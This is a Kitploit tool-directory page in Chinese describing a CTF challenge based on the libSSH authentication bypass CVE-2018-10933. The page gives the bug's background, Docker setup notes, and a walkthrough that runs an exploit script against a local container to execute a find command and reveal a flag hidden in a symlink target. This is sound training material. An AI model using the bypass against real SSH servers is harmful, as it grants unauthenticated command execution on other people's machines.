Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-10933 — 利用 CVE-2018-10933 libSSH 认证绕过漏洞的 CTF 挑战。包含 Docker 环境搭建、利用脚本及通过符号链接发现隐藏 flag 的演练。 | Kitploit
工具/GitHubGitHub/silasspringer/cve-2018-10933
漏洞分析漏洞利用CTF学习与教育二进制利用实验室与实践
GitHubsilasspringer/cve-2018-10933

CVE-2018-10933

利用 CVE-2018-10933 libSSH 认证绕过漏洞的 CTF 挑战。包含 Docker 环境搭建、利用脚本及通过符号链接发现隐藏 flag 的演练。

查看仓库
3年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

概念验证 CTF 挑战

作者:Silas Springer

基于 CVE-2018-10933

背景

CVE-2018-10933 是某些版本的 libSSH 中发现的一个漏洞,可能允许潜在的无限制机器访问。该漏洞源于在身份验证过程中对数据包头的处理不当,发送一个带有 MSG_USERAUTH_SUCCESS 字节的精心构造的数据包可以让任何人绕过身份验证,从而获得对机器的完全访问权限。

因此,本挑战的基础是要求参赛者探查所提供的 Docker 镜像,发现该漏洞,利用它获得访问权限,然后在机器上找到隐藏在符号链接中的密钥。

示例 CTF 挑战描述

root@kitploit:~
有人通过端口 22 进入我的机器……
看起来他们甚至不知道我的凭据。

无论如何,他们创建了一个名字奇怪的文件,但现在不见了,
我想知道是否还有文件名的一些痕迹——
它可能象征着攻击者的某些东西……

你能找出他们是如何进入的,并帮助我找到文件名吗?

解决方案

下面是预期解决方案的详细逐步说明:

注意,从挑战描述中可以看出,攻击者是通过端口 22 进入的,而端口 22 通常是 SSH 保留端口。还要注意,攻击者并未使用凭据进入。

由此,如果你查找过去关于无需凭据通过 SSH 访问机器的漏洞,MSG_USERAUTH_SUCCESS 字节的问题很可能是原因。或者,通过启动到端口 22 的连接,可以确定正在运行的 libSSH 版本,然后查找该版本的常见漏洞。

从描述中还可以看出,他们要找的文件名(标志)仅作为符号链接的目标存在。

现在知道可以利用此漏洞获得访问权限,可以自己编写或复制一个能运行该漏洞的示例脚本,并在目标机器上执行命令。我为该解决方案改编了一个漏洞利用脚本,并命名为 libsshauthbypass.py。

要运行此脚本并从机器获取标志(以演示镜像为例),可以运行类似以下的命令:

root@kitploit:~
./libsshauthbypass.py --host localhost -p 1337 -c 'find / -type l -exec stat {} + | grep "File:" | sed -E "s/.*\-> (.*)$/\1/g" | grep "definitelyarealCTF"'
-- 请注意,这假设镜像在本地运行,或者已通过 localhost:1337 建立了到运行容器的通道。

该命令会产生类似以下的输出:

root@kitploit:~
sspringer-fedora-CVE: ./libsshauthbypass.py --host localhost -p 1337 -c 'find / -type l -exec stat {} + | grep "File:" | sed -E "s/.*\-> (.*)$/\1/g" | grep "definitelyarealCTF"'
INFO:paramiko.transport:Connected (version 2.0, client libssh_0.8.1)
definitelyarealCTF{totally_a_REAL_flag}

复用

要为你的 CTF 使用本挑战的一个版本,强烈建议修改 Dockerfile,使用与默认提供路径不同的路径,更新 flag.txt 中的标志(但必须仍为一行),然后重建镜像。注意,可能需要为每次连接尝试托管一个新的容器,以防止有人运行破坏性命令影响所有参赛者。

要使用新标志重建 Docker 镜像(并测试它):

  • 用新标志更新 flag.txt
  • 运行 ./build_run <image name>[:<version number] <port number>
  • 使用 ./libsshauthbypass.py 或你自己的脚本,以正确的 payload 和你希望运行的命令与容器联系
  • 退出 build_run 脚本提供的 shell 后,容器将被关闭并删除,但镜像会保留并标记为 <image name>

视频

概念验证: https://youtu.be/ELrOBm02ANg

挑战的逐步说明: https://youtu.be/Ii121piSZR0

下载工具